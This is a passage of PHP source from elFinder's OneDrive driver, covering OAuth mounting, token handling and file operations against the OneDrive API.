            $options['client_id'] = ELFINDER_ONEDRIVE_CLIENTID;
        }
        if (empty($options['client_secret']) && defined('ELFINDER_ONEDRIVE_CLIENTSECRET')) {
            $options['client_secret'] = ELFINDER_ONEDRIVE_CLIENTSECRET;
        }

        if (isset($options['pass']) && $options['pass'] === 'reauth') {
            $options['user'] = 'init';
            $options['pass'] = '';
            $this->session->remove('OneDriveTokens');
        }

        if (isset($options['id'])) {
            $this->session->set('nodeId', $options['id']);
        } elseif ($_id = $this->session->get('nodeId')) {
            $options['id'] = $_id;
            $this->session->set('nodeId', $_id);
        }

        if (!empty($options['tmpPath'])) {
            if ((is_dir($options['tmpPath']) || mkdir($this->options['tmpPath'])) && is_writable($options['tmpPath'])) {
                $this->tmp = $options['tmpPath'];
            }
        }

        try {
            if (empty($options['client_id']) || empty($options['client_secret'])) {
                return array('exit' => true, 'body' => '{msg:errNetMountNoDriver}');
            }

            $itpCare = isset($options['code']);
            $code = $itpCare? $options['code'] : (isset($_GET['code'])? $_GET['code'] : '');
            if ($code) {
                try {
                    if (!empty($options['id'])) {
                        // Obtain the token using the code received by the OneDrive API
                        $this->session->set('OneDriveTokens',
                            $this->_od_obtainAccessToken($options['client_id'], $options['client_secret'], $code, $options['id']));

                        $out = array(
                            'node' => $options['id'],
                            'json' => '{"protocol": "onedrive", "mode": "done", "reset": 1}',
                            'bind' => 'netmount',
                        );
                    } else {
                        $nodeid = ($_GET['host'] === '1')? 'elfinder' : $_GET['host'];
                        $out = array(
                            'node' => $nodeid,
                            'json' => json_encode(array(
                                'protocol' => 'onedrive',
                                'host' => $nodeid,
                                'mode' => 'redirect',
                                'options' => array(
                                    'id' => $nodeid,
                                    'code'=> $code
                                )
                            )),
                            'bind' => 'netmount'
                        );
                    }
                    if (!$itpCare) {
                        return array('exit' => 'callback', 'out' => $out);
                    } else {
                        return array('exit' => true, 'body' => $out['json']);
                    }
                } catch (Exception $e) {
                    $out = array(
                        'node' => $options['id'],
                        'json' => json_encode(array('error' => elFinder::ERROR_ACCESS_DENIED . ' ' . $e->getMessage())),
                    );

                    return array('exit' => 'callback', 'out' => $out);
                }
            } elseif (!empty($_GET['error'])) {
                $out = array(
                    'node' => $options['id'],
                    'json' => json_encode(array('error' => elFinder::ERROR_ACCESS_DENIED)),
                );

                return array('exit' => 'callback', 'out' => $out);
            }

            if ($options['user'] === 'init') {
                $this->token = $this->session->get('OneDriveTokens');

                if ($this->token) {
                    try {
                        $this->_od_refreshToken();
                    } catch (Exception $e) {
                        $this->setError($e->getMessage());
                        $this->token = null;
                        $this->session->remove('OneDriveTokens');
                    }
                }

                if (empty($this->token)) {
                    $result = false;
                } else {
                    $path = $options['path'];
                    if ($path === '/') {
                        $path = 'root';
                    }
                    $result = $this->_od_query($path, false, false, array(
                        'query' => array(
                            'select' => 'id,name',
                            'filter' => 'folder ne null',
                        ),
                    ));
                }

                if ($result === false) {
                    try {
                        $this->session->set('OneDriveTokens', (object)array('token' => null));

                        $offline = '';
                        // Gets a log in URL with sufficient privileges from the OneDrive API
                        if (!empty($options['offline'])) {
                            $offline = ' offline_access';
                        }

                        $redirect_uri = elFinder::getConnectorUrl() . '/netmount/onedrive/' . ($options['id'] === 'elfinder'? '1' : $options['id']);
                        $url = self::AUTH_URL
                            . '?client_id=' . urlencode($options['client_id'])
                            . '&scope=' . urlencode('files.readwrite.all' . $offline)
                            . '&response_type=code'
                            . '&redirect_uri=' . urlencode($redirect_uri);

                    } catch (Exception $e) {
                        return array('exit' => true, 'body' => '{msg:errAccess}');
                    }

                    $html = '<input id="elf-volumedriver-onedrive-host-btn" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only" value="{msg:btnApprove}" type="button">';
                    $html .= '<script>
                            $("#' . $options['id'] . '").elfinder("instance").trigger("netmount", {protocol: "onedrive", mode: "makebtn", url: "' . $url . '"});
                            </script>';

                    return array('exit' => true, 'body' => $html);
                } else {
                    $folders = [];

                    if ($result) {
                        foreach ($result as $res) {
                            $folders[$res->id] = $res->name;
                        }
                        natcasesort($folders);
                    }

                    if ($options['pass'] === 'folders') {
                        return ['exit' => true, 'folders' => $folders];
                    }

                    $folders = ['root' => 'My OneDrive'] + $folders;
                    $folders = json_encode($folders);

                    $expires = empty($this->token->data->refresh_token) ? (int)$this->token->expires : 0;
                    $mnt2res = empty($this->token->data->refresh_token) ? '' : ', "mnt2res": 1';
                    $json = '{"protocol": "onedrive", "mode": "done", "folders": ' . $folders . ', "expires": ' . $expires . $mnt2res .'}';
                    $html = 'OneDrive.com';
                    $html .= '<script>
                            $("#' . $options['id'] . '").elfinder("instance").trigger("netmount", ' . $json . ');
                            </script>';

                    return array('exit' => true, 'body' => $html);
                }
            }
        } catch (Exception $e) {
            return array('exit' => true, 'body' => '{msg:errNetMountNoDriver}');
        }

        if ($_aToken = $this->session->get('OneDriveTokens')) {
            $options['accessToken'] = json_encode($_aToken);
            if ($this->options['path'] === 'root' || !$this->options['path']) {
                $this->options['path'] = '/';
            }
        } else {
            $this->session->remove('OneDriveTokens');
            $this->setError(elFinder::ERROR_NETMOUNT, $options['host'], implode(' ', $this->error()));

            return array('exit' => true, 'error' => $this->error());
        }

        $this->session->remove('nodeId');
        unset($options['user'], $options['pass'], $options['id']);

        return $options;
    }

    /**
     * process of on netunmount
     * Drop `onedrive` & rm thumbs.
     *
     * @param array $options
     *
     * @return bool
     */
    public function netunmount($netVolumes, $key)
    {
        if (!$this->options['useApiThumbnail'] && ($tmbs = glob(rtrim($this->options['tmbPath'], '\\/') . DIRECTORY_SEPARATOR . $this->tmbPrefix . '*.png'))) {
            foreach ($tmbs as $file) {
                unlink($file);
            }
        }

        return true;
    }

    /**
     * Return debug info for client.
     *
     * @return array
     **/
    public function debug()
    {
        $res = parent::debug();
        if (!empty($this->options['netkey']) && !empty($this->options['accessToken'])) {
            $res['accessToken'] = $this->options['accessToken'];
        }

        return $res;
    }

    /*********************************************************************/
    /*                        INIT AND CONFIGURE                         */
    /*********************************************************************/

    /**
     * Prepare FTP connection
     * Connect to remote server and check if credentials are correct, if so, store the connection id in $ftp_conn.
     *
     * @return bool
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov
     * @author Cem (DiscoFever)
     */
    protected function init()
    {
        if (!$this->options['accessToken']) {
            return $this->setError('Required option `accessToken` is undefined.');
        }

        if (!empty($this->options['tmpPath'])) {
            if ((is_dir($this->options['tmpPath']) || mkdir($this->options['tmpPath'])) && is_writable($this->options['tmpPath'])) {
                $this->tmp = $this->options['tmpPath'];
            }
        }

        $error = false;
        try {
            $this->token = json_decode($this->options['accessToken']);
            if (!is_object($this->token)) {
                throw new Exception('Required option `accessToken` is invalid JSON.');
            }

            // make net mount key
            if (empty($this->options['netkey'])) {
                $this->netMountKey = $this->_od_getInitialToken();
            } else {
                $this->netMountKey = $this->options['netkey'];
            }

            if ($this->aTokenFile = $this->_od_getATokenFile()) {
                if (empty($this->options['netkey'])) {
                    if ($this->aTokenFile) {
                        if (is_file($this->aTokenFile)) {
                            $this->token = json_decode(file_get_contents($this->aTokenFile));
                            if (!is_object($this->token)) {
                                unlink($this->aTokenFile);
                                throw new Exception('Required option `accessToken` is invalid JSON.');
                            }
                        } else {
                            file_put_contents($this->aTokenFile, $this->token);
                        }
                    }
                } else if (is_file($this->aTokenFile)) {
                    // If the refresh token is the same as the permanent volume
                    $this->token = json_decode(file_get_contents($this->aTokenFile));
                }
            }

            if ($this->needOnline) {
                $this->_od_refreshToken();

                $this->expires = empty($this->token->data->refresh_token) ? (int)$this->token->expires : 0;
            }
        } catch (Exception $e) {
            $this->token = null;
            $error = true;
            $this->setError($e->getMessage());
        }

        if ($this->netMountKey) {
            $this->tmbPrefix = 'onedrive' . base_convert($this->netMountKey, 16, 32);
        }

        if ($error) {
            if (empty($this->options['netkey']) && $this->tmbPrefix) {
                // for delete thumbnail 
                $this->netunmount(null, null);
            }
            return false;
        }

        // normalize root path
        if ($this->options['path'] == 'root') {
            $this->options['path'] = '/';
        }

        $this->root = $this->options['path'] = $this->_normpath($this->options['path']);

        $this->options['root'] = ($this->options['root'] == '')? 'OneDrive.com' : $this->options['root'];

        if (empty($this->options['alias'])) {
            if ($this->needOnline) {
                $this->options['alias'] = ($this->options['path'] === '/') ? $this->options['root'] :
                    $this->_od_query(basename($this->options['path']), $fetch_self = true)->name . '@OneDrive';
                if (!empty($this->options['netkey'])) {
                    elFinder::$instance->updateNetVolumeOption($this->options['netkey'], 'alias', $this->options['alias']);
                }
            } else {
                $this->options['alias'] = $this->options['root'];
            }
        }

        $this->rootName = $this->options['alias'];

        // This driver dose not support `syncChkAsTs`
        $this->options['syncChkAsTs'] = false;

        // 'lsPlSleep' minmum 10 sec
        $this->options['lsPlSleep'] = max(10, $this->options['lsPlSleep']);

        $this->queryOptions = array(
            'query' => array(
                'select' => 'id,name,lastModifiedDateTime,file,folder,size,image',
            ),
        );

        if ($this->options['useApiThumbnail']) {
            $this->options['tmbURL'] = 'https://';
            $this->options['tmbPath'] = '';
            $this->queryOptions['query']['expand'] = 'thumbnails(select=small)';
        }

        // enable command archive
        $this->options['useRemoteArchive'] = true;

        return true;
    }

    /**
     * Configure after successfull mount.
     *
     * @author Dmitry (dio) Levashov
     **/
    protected function configure()
    {
        parent::configure();

        // fallback of $this->tmp
        if (!$this->tmp && $this->tmbPathWritable) {
            $this->tmp = $this->tmbPath;
        }
    }

    /*********************************************************************/
    /*                               FS API                              */
    /*********************************************************************/

    /**
     * Close opened connection.
     *
     * @author Dmitry (dio) Levashov
     **/
    public function umount()
    {
    }

    protected function isNameExists($path)
    {
        list($pid, $name) = $this->_od_splitPath($path);

        $raw = $this->_od_query($pid . '/children/' . rawurlencode($name), true);
        return $raw ? $this->_od_parseRaw($raw) : false;
    }

    /**
     * Cache dir contents.
     *
     * @param string $path dir path
     *
     * @return array
     * @throws elFinderAbortException
     * @author Dmitry Levashov
     */
    protected function cacheDir($path)
    {
        $this->dirsCache[$path] = array();
        $hasDir = false;

        list(, $itemId) = $this->_od_splitPath($path);

        $res = $this->_od_query($itemId, false, false, $this->queryOptions);

        if ($res) {
            foreach ($res as $raw) {
                if ($stat = $this->_od_parseRaw($raw)) {
                    $itemPath = $this->_joinPath($path, $raw->id);
                    $stat = $this->updateCache($itemPath, $stat);
                    if (empty($stat['hidden'])) {
                        if (!$hasDir && $stat['mime'] === 'directory') {
                            $hasDir = true;
                        }
                        $this->dirsCache[$path][] = $itemPath;
                    }
                }
            }
        }

        if (isset($this->sessionCache['subdirs'])) {
            $this->sessionCache['subdirs'][$path] = $hasDir;
        }

        return $this->dirsCache[$path];
    }

    /**
     * Copy file/recursive copy dir only in current volume.
     * Return new file path or false.
     *
     * @param string $src  source path
     * @param string $dst  destination dir path
     * @param string $name new file name (optionaly)
     *
     * @return string|false
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov
     * @author Naoki Sawada
     */
    protected function copy($src, $dst, $name)
    {
        $itemId = '';
        if ($this->options['copyJoin']) {
            $test = $this->joinPathCE($dst, $name);
            if ($testStat = $this->isNameExists($test)) {
                $this->remove($test);
            }
        }

        if ($path = $this->_copy($src, $dst, $name)) {
            $this->added[] = $this->stat($path);
        } else {
            $this->setError(elFinder::ERROR_COPY, $this->_path($src));
        }

        return $path;
    }

    /**
     * Remove file/ recursive remove dir.
     *
     * @param string $path  file path
     * @param bool   $force try to remove even if file locked
     *
     * @return bool
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov
     * @author Naoki Sawada
     */
    protected function remove($path, $force = false)
    {
        $stat = $this->stat($path);
        $stat['realpath'] = $path;
        $this->rmTmb($stat);
        $this->clearcache();

        if (empty($stat)) {
            return $this->setError(elFinder::ERROR_RM, $this->_path($path), elFinder::ERROR_FILE_NOT_FOUND);
        }

        if (!$force && !empty($stat['locked'])) {
            return $this->setError(elFinder::ERROR_LOCKED, $this->_path($path));
        }

        if ($stat['mime'] == 'directory') {
            if (!$this->_rmdir($path)) {
                return $this->setError(elFinder::ERROR_RM, $this->_path($path));
            }
        } else {
            if (!$this->_unlink($path)) {
                return $this->setError(elFinder::ERROR_RM, $this->_path($path));
            }
        }

        $this->removed[] = $stat;

        return true;
    }

    /**
     * Create thumnbnail and return it's URL on success.
     *
     * @param string $path file path
     * @param        $stat
     *
     * @return string|false
     * @throws ImagickException
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov
     * @author Naoki Sawada
     */
    protected function createTmb($path, $stat)
    {
        if ($this->options['useApiThumbnail']) {
            if (func_num_args() > 2) {
                list(, , $count) = func_get_args();
            } else {
                $count = 0;
            }
            if ($count < 10) {
                if (isset($stat['tmb']) && $stat['tmb'] != '1') {
                    return $stat['tmb'];
                } else {
                    sleep(2);
                    elFinder::extendTimeLimit();
                    $this->clearcache();
                    $stat = $this->stat($path);

                    return $this->createTmb($path, $stat, ++$count);
                }
            }

            return false;
        }
        if (!$stat || !$this->canCreateTmb($path, $stat)) {
            return false;
        }

        $name = $this->tmbname($stat);
        $tmb = $this->tmbPath . DIRECTORY_SEPARATOR . $name;

        // copy image into tmbPath so some drivers does not store files on local fs
        if (!$data = $this->_od_getThumbnail($path)) {
            return false;
        }
        if (!file_put_contents($tmb, $data)) {
            return false;
        }

        $result = false;

        $tmbSize = $this->tmbSize;

        if (($s = getimagesize($tmb)) == false) {
            return false;
        }

        /* If image smaller or equal thumbnail size - just fitting to thumbnail square */
        if ($s[0] <= $tmbSize && $s[1] <= $tmbSize) {
            $result = $this->imgSquareFit($tmb, $tmbSize, $tmbSize, 'center', 'middle', $this->options['tmbBgColor'], 'png');
        } else {
            if ($this->options['tmbCrop']) {

                /* Resize and crop if image bigger than thumbnail */
                if (!(($s[0] > $tmbSize && $s[1] <= $tmbSize) || ($s[0] <= $tmbSize && $s[1] > $tmbSize)) || ($s[0] > $tmbSize && $s[1] > $tmbSize)) {
                    $result = $this->imgResize($tmb, $tmbSize, $tmbSize, true, false, 'png');
                }

                if (($s = getimagesize($tmb)) != false) {
                    $x = $s[0] > $tmbSize ? intval(($s[0] - $tmbSize) / 2) : 0;
                    $y = $s[1] > $tmbSize ? intval(($s[1] - $tmbSize) / 2) : 0;
                    $result = $this->imgCrop($tmb, $tmbSize, $tmbSize, $x, $y, 'png');
                }
            } else {
                $result = $this->imgResize($tmb, $tmbSize, $tmbSize, true, true, 'png');
            }

            $result = $this->imgSquareFit($tmb, $tmbSize, $tmbSize, 'center', 'middle', $this->options['tmbBgColor'], 'png');
        }

        if (!$result) {
            unlink($tmb);

            return false;
        }

        return $name;
    }

    /**
     * Return thumbnail file name for required file.
     *
     * @param array $stat file stat
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function tmbname($stat)
    {
        return $this->tmbPrefix . $stat['rev'] . $stat['ts'] . '.png';
    }

    /**
     * Return content URL.
     *
     * @param string $hash    file hash
     * @param array  $options options
     *
     * @return string
     * @author Naoki Sawada
     **/
    public function getContentUrl($hash, $options = array())
    {
        if (!empty($options['onetime']) && $this->options['onetimeUrl']) {
            return parent::getContentUrl($hash, $options);
        }
        if (!empty($options['temporary'])) {
            // try make temporary file
            $url = parent::getContentUrl($hash, $options);
            if ($url) {
                return $url;
            }
        }
        $res = '';
        if (($file = $this->file($hash)) == false || !$file['url'] || $file['url'] == 1) {
            $path = $this->decode($hash);

            list(, $itemId) = $this->_od_splitPath($path);
            try {
                $url = self::API_URL . $itemId . '/createLink';
                $data = (object)array(
                    'type' => 'embed',
                    'scope' => 'anonymous',
                );
                $curl = $this->_od_prepareCurl($url);
                curl_setopt_array($curl, array(
                    CURLOPT_POST => true,
                    CURLOPT_POSTFIELDS => json_encode($data),
                ));

                $result = elFinder::curlExec($curl);
                if ($result) {
                    $result = json_decode($result);
                    if (isset($result->link)) {
                        list(, $res) = explode('?', $result->link->webUrl);
                        $res = 'https://onedrive.live.com/download.aspx?' . $res;
                    }
                }
            } catch (Exception $e) {
                $res = '';
            }
        }

        return $res;
    }

    /*********************** paths/urls *************************/

    /**
     * Return parent directory path.
     *
     * @param string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _dirname($path)
    {
        list(, , $dirname) = $this->_od_splitPath($path);

        return $dirname;
    }

    /**
     * Return file name.
     *
     * @param string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _basename($path)
    {
        list(, $basename) = $this->_od_splitPath($path);

        return $basename;
    }

    /**
     * Join dir name and file name and retur full path.
     *
     * @param string $dir
     * @param string $name
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _joinPath($dir, $name)
    {
        if ($dir === 'root') {
            $dir = '';
        }

        return $this->_normpath($dir . '/' . $name);
    }

    /**
     * Return normalized path, this works the same as os.path.normpath() in Python.
     *
     * @param string $path path
     *
     * @return string
     * @author Troex Nevelin
     **/
    protected function _normpath($path)
    {
        if (DIRECTORY_SEPARATOR !== '/') {
            $path = str_replace(DIRECTORY_SEPARATOR, '/', $path);
        }
        $path = '/' . ltrim($path, '/');

        return $path;
    }

    /**
     * Return file path related to root dir.
     *
     * @param string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _relpath($path)
    {
        return $path;
    }

    /**
     * Convert path related to root dir into real path.
     *
     * @param string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _abspath($path)
    {
        return $path;
    }

    /**
     * Return fake path started from root dir.
     *
     * @param string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _path($path)
    {
        return $this->rootName . $this->_normpath(substr($path, strlen($this->root)));
    }

    /**
     * Return true if $path is children of $parent.
     *
     * @param string $path   path to check
     * @param string $parent parent path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _inpath($path, $parent)
    {
        return $path == $parent || strpos($path, $parent . '/') === 0;
    }

    /***************** file stat ********************/
    /**
     * Return stat for given path.
     * Stat contains following fields:
     * - (int)    size    file size in b. required
     * - (int)    ts      file modification time in unix time. required
     * - (string) mime    mimetype. required for folders, others - optionally
     * - (bool)   read    read permissions. required
     * - (bool)   write   write permissions. required
     * - (bool)   locked  is object locked. optionally
     * - (bool)   hidden  is object hidden. optionally
     * - (string) alias   for symlinks - link target path relative to root path. optionally
     * - (string) target  for symlinks - link target path. optionally.
     * If file does not exists - returns empty array or false.
     *
     * @param string $path file path
     *
     * @return array|false
     * @author Dmitry (dio) Levashov
     **/
    protected function _stat($path)
    {
        if ($raw = $this->_od_getFileRaw($path)) {
            $stat = $this->_od_parseRaw($raw);
            if ($path === $this->root) {
                $stat['expires'] = $this->expires;
            }
            return $stat;
        }

        return false;
    }

    /**
     * Return true if path is dir and has at least one childs directory.
     *
     * @param string $path dir path
     *
     * @return bool
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov
     */
    protected function _subdirs($path)
    {
        list(, $itemId) = $this->_od_splitPath($path);

        return (bool)$this->_od_query($itemId, false, false, array(
            'query' => array(
                'top' => 1,
                'select' => 'id',
                'filter' => 'folder ne null',
            ),
        ));
    }

    /**
     * Return object width and height
     * Ususaly used for images, but can be realize for video etc...
     *
     * @param string $path file path
     * @param string $mime file mime type
     *
     * @return string
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov
     */
    protected function _dimensions($path, $mime)
    {
        if (strpos($mime, 'image') !== 0) {
            return '';
        }

        //$cache = $this->_od_getFileRaw($path);
        if (func_num_args() > 2) {
            $args = func_get_arg(2);
        } else {
            $args = array();
        }
        if (!empty($args['substitute'])) {
            $tmbSize = intval($args['substitute']);
        } else {
            $tmbSize = null;
        }
        list(, $itemId) = $this->_od_splitPath($path);
        $options = array(
            'query' => array(
                'select' => 'id,image',
            ),
        );
        if ($tmbSize) {
            $tmb = 'c' . $tmbSize . 'x' . $tmbSize;
            $options['query']['expand'] = 'thumbnails(select=' . $tmb . ')';
        }
        $raw = $this->_od_query($itemId, true, false, $options);

        if ($raw && property_exists($raw, 'image') && $img = $raw->image) {
            if (isset($img->width) && isset($img->height)) {
                $ret = array('dim' => $img->width . 'x' . $img->height);
                if ($tmbSize) {
                    $srcSize = explode('x', $ret['dim']);
                    if (min(($tmbSize / $srcSize[0]), ($tmbSize / $srcSize[1])) < 1) {
                        if (!empty($raw->thumbnails)) {
                            $tmbArr = (array)$raw->thumbnails[0];
                            if (!empty($tmbArr[$tmb]->url)) {
                                $ret['url'] = $tmbArr[$tmb]->url;
                            }
                        }
                    }
                }

                return $ret;
            }
        }

        $ret = '';
        if ($work = $this->getWorkFile($path)) {
            if ($size = @getimagesize($work)) {
                $cache['width'] = $size[0];
                $cache['height'] = $size[1];
                $ret = $size[0] . 'x' . $size[1];
            }
        }
        is_file($work) && @unlink($work);

        return $ret;
    }

    /******************** file/dir content *********************/

    /**
     * Return files list in directory.
     *
     * @param string $path dir path
     *
     * @return array
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov
     * @author Cem (DiscoFever)
     */
    protected function _scandir($path)
    {
        return isset($this->dirsCache[$path])
            ? $this->dirsCache[$path]
            : $this->cacheDir($path);
    }

    /**
     * Open file and return file pointer.
     *
     * @param string $path  file path
     * @param bool   $write open file for writing
     *
     * @return resource|false
     * @author Dmitry (dio) Levashov
     **/
    protected function _fopen($path, $mode = 'rb')
    {
        if ($mode === 'rb' || $mode === 'r') {
            list(, $itemId) = $this->_od_splitPath($path);
            $data = array(
                'target' => self::API_URL . $itemId . '/content',
                'headers' => array('Authorization: Bearer ' . $this->token->data->access_token),
            );

            // to support range request
            if (func_num_args() > 2) {
                $opts = func_get_arg(2);
            } else {
                $opts = array();
            }
            if (!empty($opts['httpheaders'])) {
                $data['headers'] = array_merge($opts['httpheaders'], $data['headers']);
            }

            return elFinder::getStreamByUrl($data);
        }

        return false;
    }

    /**
     * Close opened file.
     *
     * @param resource $fp file pointer
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _fclose($fp, $path = '')
    {
        is_resource($fp) && fclose($fp);
        if ($path) {
            unlink($this->getTempFile($path));
        }
    }

    /********************  file/dir manipulations *************************/

    /**
     * Create dir and return created dir path or false on failed.
     *
     * @param string $path parent dir path
     * @param string $name new directory name
     *
     * @return string|bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _mkdir($path, $name)
    {
        $namePath = $this->_joinPath($path, $name);
        list($parentId) = $this->_od_splitPath($namePath);

        try {
            $properties = array(
                'name' => (string)$name,
                'folder' => (object)array(),
            );

            $data = (object)$properties;

            $url = self::API_URL . $parentId . '/children';

            $curl = $this->_od_prepareCurl($url);

            curl_setopt_array($curl, array(
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => json_encode($data),
            ));

            //create the Folder in the Parent
            $result = elFinder::curlExec($curl);
            $folder = json_decode($result);

            return $this->_joinPath($path, $folder->id);
        } catch (Exception $e) {
            return $this->setError('OneDrive error: ' . $e->getMessage());
        }
    }

    /**
     * Create file and return it's path or false on failed.
     *
     * @param string $path parent dir path
     * @param string $name new file name
     *
     * @return string|bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _mkfile($path, $name)
    {
        return $this->_save($this->tmpfile(), $path, $name, array());
    }

    /**
     * Create symlink. FTP driver does not support symlinks.
     *
     * @param string $target link target
     * @param string $path   symlink path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _symlink($target, $path, $name)
    {
        return false;
    }

    /**
     * Copy file into another file.
     *
     * @param string $source    source file path
     * @param string $targetDir target directory path
     * @param string $name      new file name
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _copy($source, $targetDir, $name)
    {
        $path = $this->_joinPath($targetDir, $name);

        try {
            //Set the Parent id
            list(, $parentId) = $this->_od_splitPath($targetDir);
            list(, $itemId) = $this->_od_splitPath($source);

            $url = self::API_URL . $itemId . '/copy';

            $properties = array(
                'name' => (string)$name,
            );
            if ($parentId === 'root') {
                $properties['parentReference'] = (object)array('path' => '/drive/root:');
            } else {
                $properties['parentReference'] = (object)array('id' => (string)$parentId);
            }
            $data = (object)$properties;
            $curl = $this->_od_prepareCurl($url);
            curl_setopt_array($curl, array(
                CURLOPT_POST => true,
                CURLOPT_HEADER => true,
                CURLOPT_HTTPHEADER => array(
                    'Content-Type: application/json',
                    'Authorization: Bearer ' . $this->token->data->access_token,
                    'Prefer: respond-async',
                ),
                CURLOPT_POSTFIELDS => json_encode($data),
            ));
            $result = elFinder::curlExec($curl);

            $res = new stdClass();
            if (preg_match('/Location: (.+)/', $result, $m)) {
                $monUrl = trim($m[1]);
                while ($res) {
                    usleep(200000);
                    $curl = curl_init($monUrl);
                    curl_setopt_array($curl, array(
                        CURLOPT_RETURNTRANSFER => true,
                        CURLOPT_HTTPHEADER => array(
                            'Content-Type: application/json',
                        ),
                    ));
                    $res = json_decode(elFinder::curlExec($curl));
                    if (isset($res->status)) {
                        if ($res->status === 'completed' || $res->status === 'failed') {
                            break;
                        }
                    } elseif (isset($res->error)) {
                        return $this->setError('OneDrive error: ' . $res->error->message);
                    }
                }
            }

            if ($res && isset($res->resourceId)) {
                if (isset($res->folder) && isset($this->sessionCache['subdirs'])) {
                    $this->sessionCache['subdirs'][$targetDir] = true;
                }

                return $this->_joinPath($targetDir, $res->resourceId);
            }

            return false;
        } catch (Exception $e) {
            return $this->setError('OneDrive error: ' . $e->getMessage());
        }

        return true;
    }

    /**
     * Move file into another parent dir.
     * Return new file path or false.
     *
     * @param string $source source file path
     * @param        $targetDir
     * @param string $name   file name
     *
     * @return string|bool
     * @author Dmitry (dio) Levashov
     */
    protected function _move($source, $targetDir, $name)
    {
        try {
            list(, $targetParentId) = $this->_od_splitPath($targetDir);
            list($sourceParentId, $itemId, $srcParent) = $this->_od_splitPath($source);

            $properties = array(
                'name' => (string)$name,
            );
            if ($targetParentId !== $sourceParentId) {
                $properties['parentReference'] = (object)array('id' => (string)$targetParentId);
            }

            $url = self::API_URL . $itemId;
            $data = (object)$properties;

            $curl = $this->_od_prepareCurl($url);

            curl_setopt_array($curl, array(
                CURLOPT_CUSTOMREQUEST => 'PATCH',
                CURLOPT_POSTFIELDS => json_encode($data),
            ));

            $result = json_decode(elFinder::curlExec($curl));
            if ($result && isset($result->id)) {
                return $targetDir . '/' . $result->id;
            } else {
                return false;
            }
        } catch (Exception $e) {
            return $this->setError('OneDrive error: ' . $e->getMessage());
        }

        return false;
    }

    /**
     * Remove file.
     *
     * @param string $path file path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _unlink($path)
    {
        $stat = $this->stat($path);
        try {
            list(, $itemId) = $this->_od_splitPath($path);

            $url = self::API_URL . $itemId;

            $curl = $this->_od_prepareCurl($url);
            curl_setopt_array($curl, array(
                CURLOPT_CUSTOMREQUEST => 'DELETE',
            ));

            //unlink or delete File or Folder in the Parent
            $result = elFinder::curlExec($curl);
        } catch (Exception $e) {
            return $this->setError('OneDrive error: ' . $e->getMessage());
        }

        return true;
    }

    /**
     * Remove dir.
     *
     * @param string $path dir path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _rmdir($path)
    {
        return $this->_unlink($path);
    }

    /**
     * Create new file and write into it from file pointer.
     * Return new file path or false on error.
     *
     * @param resource $fp   file pointer
     * @param          $path
     * @param string   $name file name
     * @param array    $stat file stat (required by some virtual fs)
     *
     * @return bool|string
     * @author Dmitry (dio) Levashov
     */
    protected function _save($fp, $path, $name, $stat)
    {
        $itemId = '';
        $size = null;
        if ($name === '') {
            list($parentId, $itemId, $parent) = $this->_od_splitPath($path);
        } else {
            if ($stat) {
                if (isset($stat['name'])) {
                    $name = $stat['name'];
                }
                if (isset($stat['rev']) && strpos($stat['hash'], $this->id) === 0) {
                    $itemId = $stat['rev'];
                }
            }
            list(, $parentId) = $this->_od_splitPath($path);
            $parent = $path;
        }

        if ($stat && isset($stat['size'])) {
            $size = $stat['size'];
        } else {
            $stats = fstat($fp);
            if (isset($stats[7])) {
                $size = $stats[7];
            }
        }

        if ($size > 4194304) {
            return $this->_od_uploadSession($fp, $size, $name, $itemId, $parent, $parentId);
        }

        try {
            // for unseekable file pointer
            if (!elFinder::isSeekableStream($fp)) {
                if ($tfp = tmpfile()) {
                    if (stream_copy_to_stream($fp, $tfp, $size? $size : -1) !== false) {
                        rewind($tfp);
                        $fp = $tfp;
                    }
                }
            }

            //Create or Update a file
            if ($itemId === '') {
                $url = self::API_URL . $parentId . ':/' . rawurlencode($name) . ':/content';
            } else {
                $url = self::API_URL . $itemId . '/content';
            }
            $curl = $this->_od_prepareCurl();

            $options = array(
                CURLOPT_URL => $url,
                CURLOPT_PUT => true,
                CURLOPT_INFILE => $fp,
            );
            // Size
            if ($size !== null) {
                $options[CURLOPT_INFILESIZE] = $size;
            }

            curl_setopt_array($curl, $options);

            //create or update File in the Target
            $file = json_decode(elFinder::curlExec($curl));

            return $this->_joinPath($parent, $file->id);
        } catch (Exception $e) {
            return $this->setError('OneDrive error: ' . $e->getMessage());
        }
    }

    /**
     * Get file contents.
     *
     * @param string $path file path
     *
     * @return string|false
     * @author Dmitry (dio) Levashov
     **/
    protected function _getContents($path)
    {
        $contents = '';

        try {
            list(, $itemId) = $this->_od_splitPath($path);
            $url = self::API_URL . $itemId . '/content';
            $contents = $this->_od_createCurl($url, $contents = true);
        } catch (Exception $e) {
            return $this->setError('OneDrive error: ' . $e->getMessage());
        }

        return $contents;
    }

    /**
     * Write a string to a file.
     *
     * @param string $path    file path
     * @param string $content new file content
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _filePutContents($path, $content)
    {
        $res = false;

        if ($local = $this->getTempFile($path)) {
            if (file_put_contents($local, $content, LOCK_EX) !== false
                && ($fp = fopen($local, 'rb'))) {
                clearstatcache();
